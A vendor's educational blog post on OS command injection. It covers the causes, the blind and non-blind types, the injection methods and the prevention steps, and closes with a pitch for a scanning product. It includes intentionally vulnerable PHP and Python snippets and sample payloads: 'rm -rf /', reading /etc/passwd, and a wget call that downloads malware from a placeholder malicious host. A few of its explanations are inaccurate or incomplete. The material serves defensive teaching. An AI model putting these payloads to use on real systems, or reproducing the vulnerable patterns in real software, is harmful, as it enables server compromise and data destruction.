All Blogs

Quick Summary: Attackers can hijack your server with arbitrary system commands when your web app is vulnerable to command injection. But what causes this threat and how does it affect your systems? Let’s explore these questions in this article. Read to know about this threat vector, its types, methods of prevention, and a lot more.
Security experts and pen testers are always on their toes to protect their organizations’ digital assets. However, there is a plethora of threat vectors that need to be explored and examined to win over this challenge. One of them is injection attacks.
They are among the most notorious cybersecurity threats. In fact, they hold the third spot on the OWASP Top 10 list of dangerous web app security risks. Command Injection is a major attack vector in the Injection family of vulnerabilities.
Just like other OWASP injection attacks, it also involves injecting malicious input. However, instead of a bad script or code, the attacker inserts commands that can be executed by the host operating system. Web applications that allow system calls without validation are susceptible to this attack.
The attacker can inject a system-executable command into input methods of a web app to cause data breaches, system manipulation, and server compromise. Protecting from this kind of attack can be challenging because it affects the main system.
However, you can prevent such threats with a comprehensive vulnerability assessment and security best practices. Such measures will help you make web apps stronger to defend against cyberattacks. Let’s dive deep into the article to learn more about command injection, its attack method, examples, prevention tips, and a lot more information.
Uncover Loopholes that Cause Injection Attacks with a Powerful Security Testing Platform Try for Free
Table of Contents
- What is Command Injection?
- Common Web App Weaknesses that Lead to Command Injection
- Understanding the Types of Command Injection Attack
- Common Command Injection Methods
- Examples of Command Injection Vulnerabilities
- Ways to Prevent Command Injection Vulnerability
- Mitigate Security Risks with ZeroThreat
What is Command Injection?
Command Injection, sometimes preceded by OS (Operating System), is a form of cyberattack that targets the host OS of a web application. Attackers attempt to execute arbitrary commands on the host OS of a vulnerable web application with this attack vector.
Simply put, an attacker can successfully execute a malicious command on the host operating system on which a vulnerable web application is running. Typically, this happens because the target web app lacks proper input validation to fend off such threats.
Consequently, an attacker can provide commands that are executable via an OS shell by injecting them in HTTP headers, forms, or cookies. It is as dangerous as other injection attacks like SQL injection, XSS, LDAP injection, XXE injection, and more.
It’s better understood with an example. So, let’s see the command injection example below. Below PHP code is for a web app component that deletes files. It asks for the file name as input.
<?php echo “Enter the name for the file you wish to delete”; echo ‘<p>’; $file_name = $_GET[‘filename’]; system(“rm $file_name”); ?>
As you can see, the PHP super global ‘$_GET’ accesses the variable ‘filename’ without sanitization or validation. An attacker can exploit this flaw by inserting OS-level commands in the URL parameters as follows:
http://testapplication.com/delete.php?filename=sample.txt;id
The supplied parameter for variable ‘filename’ is “sample.txt & id” which will attempt to delete the file and return the information about the current directory. The information will be returned regardless of whether the file deleting was successful or not. Attackers can abuse this to get critical information like current user data.
Command injection can allow attackers to corrupt data, delete files, crash systems, and install malware that can allow backdoor access.
Common Web App Weaknesses that Lead to Command Injection
Attackers can exploit various security flaws in web applications to successfully inject arbitrary shell or OS commands. Due to these flaws, it is possible to trick the host operating system of a web application’s server to execute unwanted commands. Let’s see these weaknesses below.
- Failure to Validate Input: This is the main reason for security issues arising from arbitrary commands. Web applications that don’t properly sanitize and validate user-supplied inputs are susceptible to these types of attacks. You can leverage web app security testing to identify such loopholes and fix them to prevent cyberattacks.
- Inadequate Access Control: Not assigning access control properly creates a loophole that attackers can exploit to run unauthorized commands.
- Server-side Template Vulnerability: Many web apps require server-side template tools like, Jinja2 and Twig. These templates are used for HTTP responses. It can cause a server-side template injection attack if the user input is used in the template without security checks. An attacker can exploit this vulnerability to execute commands or code on the server.
- Dynamic Commands: Web apps that take user inputs and then dynamically create command strings without proper validation are also vulnerable.
- Improperly Handle Shell Metacharacters: Handling shell metacharacters and separators improperly allows unwanted commands. Separator characters like “|”, “&”, “;’ enable attackers to enter and execute multiple commands. These flaws increase the likelihood of a successful attack.
- Insecure APIs: When APIs insecurely use system commands, they expose a web application to malicious commands by an attacker. Methods like API testing and strong access control can help to enhance overall security though.
- Insecure File Operation: Often, web applications require filenames or file paths as input to operate. It could be susceptible to the execution of arbitrary commands embedded in files when not handled securely.
Stay Abreast of Attackers with Zero Flaws in Web Apps and Prevent Costly Data Breaches Get Free Assessment
Understanding the Types of Command Injection Attack
The following are the different methods that are used to inject OS commands.
Blind Command Injection
When an application doesn’t return the output of a command within the server response, it is termed a blind vulnerability. In other words, it is a kind of attack method where the attacker is unable to get any direct response for the command it injects, though the command is executed.
You may wonder how the attacker would then know about a blind OS command injection vulnerability if it doesn’t show any output. The easiest method to check for this vulnerability is causing a pause with the ‘sleep’ command for Linux and ‘timeout’ for Windows. For example, an attacker can try to execute a command like ‘sleep 5’ on a Linux-based system to check the vulnerability.
In case the server takes five seconds longer than normal, the web app is likely to have this vulnerability. Hence, using a payload like ‘$(sleep 5)’ is the time delay method to check for this vulnerability. Output redirection and out-of-band interaction are some other tactics to discover such weaknesses.
Non-Blind Command Injection
In this case, the attacker can see the results of injected commands in the web application’s response. Since attackers can directly get an output of the command by observing the response, they can easily determine the success of an attack.
Let’s understand this with an example.
Suppose there is a shopping application, and it has a functionality that enables users to check the stock of items. For this, the application uses the URL: https://unsecure-shopping-site.com/checkStocks?productID=123&storeID=21
Now, it requires interactions with several other systems to resolve the query. Plus, the query is resolved through a shell command that takes product ID and store ID as parameters like stockstatus.pl 123 21
Once the command is executed, it returns the stock status to the web application and the result is shown to users. However, there is no input validation or sanitization and defenses against such requests. Consequently, an attacker can attempt to inject arbitrary commands to be executed on the server.
For instance, an attacker can enter input like stockstatus.pl & echo xyzabc & 27
‘&’ is a command separator and allows the attacker to execute three commands in this case. The ‘echo’ command will output what is supplied as a parameter. It helps to determine if there is a vulnerability that helps in injecting shell OS commands. The above command may generate an output like:
Error: productID not provided
xyzabc
27: Not a valid command
More commands that attackers can use include:
Purpose of command | Linux | Windows |
---|---|---|
Name of current user | whoami | whoami |
Operating system | uname -a | ver |
Network configuration | ifconfig | ipconfig /all |
Network connections | netstat -an | netstat -an |
Running processes | ps -ef | tasklist |
Common Command Injection Methods
Let’s learn in detail about some of the most common and frequently used methods of command injection.
1. Basic Command Injection
This type of command injection takes place when user input is passed directly to a system command without the required validation and sanitization process.
Example input: example.com/search?query=someinput
Vulnerable Code
import os os.system(f"grep {user_input} /var/log/syslog")
Exploitation: An attacker could use input like someinput; rm -rf / to execute additional commands.
2. Command Injection via Web Forms
When web application forms don’t enforce strict uploading restrictions of files or other interactions with servers, improper handling of file names or data can cause command injection.
Example Input: A file upload form where the file name is used directly in a command.
Vulnerable Code
os.system(f"cat /uploads/{file_name}")
Exploitation: Uploading a file with a name like evilfile.txt; ls -la could list directory contents.
3. Command Injection via URL Parameters
Web applications generally use URL parameters for multiple activities. If their sanitization is not properly done, the chances of their exploitation increase.
Example URL: example.com/page?user=admin
Vulnerable Code
os.system(f"echo {request.args['user']} >> /tmp/output.txt")
Exploitation: An attacker can use admin to perform additional commands.
4. Command Injection via HTTP Headers
Certain web apps use HTTP headers to control functionality or pass commands. Headers can be manipulated to execute command injections.
Example Input: A search term that is used to create a command.
Vulnerable Code
os.system(f"grep {search_term} /var/log/syslog")
Exploitation: Manipulating headers to include additional commands.
Examples of Command Injection Vulnerabilities
Let’s refer to the examples of command injection vulnerabilities in web apps that attackers always attempt to exploit.
1. Command Injection via File Upload
A web application enables users to upload files and uses the file name in a command.
Vulnerable Code
import os def handle_upload(file_name): os.system(f"cat /uploads/{file_name}")
An attacker uploads a file named evilfile.txt; rm -rf /, which could create the chances of unintended commands being executed.
2. Command Injection via Database Queries
A web app uses user input to generate database queries, and those queries are then deployed in system commands.
Vulnerable Code
import os import sqlite3 def search_db(query): conn = sqlite3.connect('/db/mydatabase.db') cursor = conn.cursor() cursor.execute(f"SELECT * FROM users WHERE name='{query}'") results = cursor.fetchall() conn.close() os.system(f"echo {results} >> /tmp/output.txt")
An attacker inputs '; cat /etc/passwd as the query, leading to a command like:
3. Command Injection via Form Input
A web application takes user input from a form field and uses it in a system command.
Vulnerable Code
import os def submit_feedback(feedback): os.system(f"echo {feedback} >> /var/log/feedback.log")
An attacker submits feedback like `'; wget http://malicious-site.com/malware -O /tmp/malware
, `` which would download malicious software to the server.
4. Command Injection via System Environment Variables
A web application uses environment variables in system commands.
Vulnerable Code
import os def run_task(): task = os.getenv('TASK_COMMAND') os.system(task)
An attacker can set the TASK_COMMAND environment variable to execute like ls; echo "Compromised"; this leads to both the listing of files and appending "Compromised" to a file.
Ways to Prevent Command Injection Vulnerability
There are various measures like data sanitization, access control, and more to prevent unauthorized server commands. However, you require a thorough security assessment of your web apps and APIs for proper command injection prevention and mitigation. It helps to check common weaknesses like input validation. The best method is to use a DAST tool to scan and discover potential vulnerabilities.
Data Sanitization
Sanitizing user inputs is a great defense against most vulnerabilities. It involves scrutinizing user-supplied data from URLs or forms to check for invalid or special characters. Attackers use special characters like “;”, “&”, “&&”, “|”, “||”, and Newline (0x0a or \n). These characters help them to execute arbitrary commands on the host OS.
While using a list of invalid characters is useful to check for bad commands, it’s not possible to include all of them. In fact, many of them may yet to be discovered. The alternate option is to use a whitelist of characters that includes only a set of valid characters. It can eliminate most OWASP Top 10 risks, as input validation is one of the reasons for them.
Strict Permissions
Set strict permissions for your web application and corresponding components to prevent executing arbitrary commands. Role-based permissions can help to mitigate this risk by applying relevant authentication. System commands must be executed with strict permissions to avoid such attacks. Also, you should ensure strict OS-level permissions for files and other resources to prevent unauthorized use.
Use Safe APIs
When APIs are handling the communication between your web application and server system, you should ensure they are safe. Attackers can exploit vulnerable APIs to inject payloads and execute arbitrary commands. It is crucial to identify insecure APIs and potential vulnerabilities therein. There comes the role of an API security testing tool that can detect all kinds of API security weaknesses.
Security Testing
Today, security testing is vital in cybersecurity. It helps to uncover potential web application weaknesses that could compromise its security. Hence, it is pivotal in defending against cyber threats. However, you need a good web app security scanner to achieve that objective. It should have advanced functionality to align with today’s dynamic security landscape.
Detect All Kinds of Injection Vulnerabilities with the Highest Accuracy and Secure Your Data Let’s Find Them
Mitigate Security Risks with ZeroThreat
There are lots of dangerous consequences when an attacker successfully injects arbitrary commands. The attacker can fully compromise the security of your web server after gaining unauthorized access to the system and its data.
You can achieve command injection mitigation by scanning your web application for vulnerabilities that lead to this attack. A vulnerability scanner like ZeroThreat can help uncover security vulnerabilities, including OWASP Top 10 and CWE-25. It offers an AI-powered engine.
You can scan your web app in minutes and perform security testing with zero configuration. It can detect vulnerabilities with near-zero false positives. Try this for free and take advantage of an advanced vulnerability detection tool to secure your web apps.
Frequently Asked Questions
Code Injection vs Command Injection: what are the differences?
Code injection is an attack tactic where an attacker supplies code or script as input for vulnerable web apps. However, command injection payloads are OS-level commands that can be executed in a shell.
How does OS command injection impact an organization?
Are RCE and Command Injection the same?
Explore ZeroThreat
Automate security testing, save time, and avoid the pitfalls of manual work with ZeroThreat.